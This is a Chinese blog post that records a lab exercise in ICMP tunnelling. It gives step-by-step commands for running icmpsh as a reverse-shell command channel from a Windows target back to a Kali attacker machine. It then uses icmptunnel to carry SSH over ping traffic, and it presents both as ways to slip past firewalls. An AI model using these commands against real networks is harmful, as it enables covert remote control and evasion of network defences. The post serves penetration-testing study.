欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ICMP隧道学习

程序员文章站 2022-05-26 16:27:03
...

ICMP隧道学习

参考链接:https://cloud.tencent.com/developer/article/1491652
声明:本文大部分内容与原链接一致,仅在命令格式上做出了些整理,并附上自己学习操作过程的截图

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活。

利用ICMP协议进行命令控制

我们发布的很多内容中都讨论了C2通道,又叫做命令控制,具体内容可以在这里找到。而在这篇文章中,你会了解到如何将ICMP协议用作命令控制通道。网络战中散布着入侵者和安全研究人员,因此,我们需要备用计划。

众所周知,现在的公司变得更加智能,他们可以理解例如类型相关的攻击在实现了机器的TCP反弹连接。因此我们提出了使用icmpsh作为命令控制工具的一种ICMP隐蔽shell的实现方法。

环境要求

攻击机/C2通道:192.168.1.3(Kali Linux)

[宿主机]:192.168.1.2(Windows 2008 R2)

icmpsh:C2通道与安装方法

icmpsh是一个简单的ICMP反弹shell,拥有用C,Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说,icmpsh的优点是在目标机器上运行时不需要管理员权限。

这一工具干净、简单并且便携。受控端(客户端)使用C语言实现。只能运行在目标Windows机器上,而主控端(服务端)由于已经有Nico Leidecker用C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

Icmpsh很容易被安装并用作c2通道。可以通过Github下载并在攻击者机器中部署icmpsh。

git clone https://github.com/inquisb/icmpsh.git
我这里是主机浏览器下载了一份整理到了同文件夹下,有需要拽到kali里就行了

以主模式运行icmpsh(Kali Linux)

下载完成之后,使用以下命令来运行主控端。执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。

sysctl -w net.ipv4.icmp_echo_ignore_all=1    禁用ICMP答复
cd icmpsh-master
语法:
./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.3 192.168.1.2

以从模式运行icmpsh(Windows 2008 R2)

在宿主机器中以从模式再次安装icmpsh工具,运行受控端的目标机器中的用户不需要具有管理员权限。然后运行以下命令:

语法: 
icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.3

在宿主机上执行完上述命令后,攻击者就会收到运行着受控端的机器的反弹shell。你可以从下面给出的图片中观察到,这台主控端机器通过受控端机器返回的命令提示符获取了其控制权。

ICMP隧道学习由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。

ICMP隧道搭建

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。在此我们会获取一个被封装到ICMP包中的ssh会话。这也需要在第三层,即网络层,建立一个封装在icmp载荷中的tcp连接,这样对于绕过防火墙规则可能也有一定的帮助。

环境要求

服务端机器:

eth0:192.168.1.128 tun0:10.0.0.1      kali-docker(练习用的复制出去的机器)

客户端机器:

eth0: 192.168.1.3 tun0:10.0.0.2		kali

icmptunnel是一个将IP流量封装到ICMP echo请求和回复(ping)包中的隧道工具,是在允许ping的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

虽然一些现有工具已经实现了这一技术,但在穿透状态防火墙和NAT方面,icmptunnel提供了一个更可靠的协议和机制。

在服务端机器(目标)上配置ICMP

在宿主机上下载并安装icmptunnel,按照下面图中的命令进行编译

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

首先,在客户端和服务端都禁用ICMP echo回复。这样可以防止内核自己对ping包进行响应。

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

在服务端(宿主机),以服务端模式启动icmptunnel,并且给新的隧道接口分配一个IP地址。

./icmptunnel -s
Ctrl+z
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0ifconfig

ICMP隧道学习ifconfig可看到命令已经执行了
ICMP隧道学习###在客户端机器(攻击者)上配置ICMP

类似地,在攻击者机器上重复同样的流程安装用于p2p连接的icmptunnel。

git clone https://github.com/jamesbarlow/icmptunnel.git

首先,对其进行编译,然后禁用ICMP echo回复防止内核自己对ping包进行响应。

cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.128(服务器端的IP)
ctrl z
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

通过ICMP连接SSH

到这里应该通过ICMP包建立了一个点对点隧道。服务端的隧道IP是10.0.0.1,客户端的隧道IP是10.0.0.2。尝试通过客户端上的tcp协议,SSH,来连接到服务端:

ssh aaa@qq.com10.0.0.1

效果如图
ICMP隧道学习

相关标签: 隧道技术 网络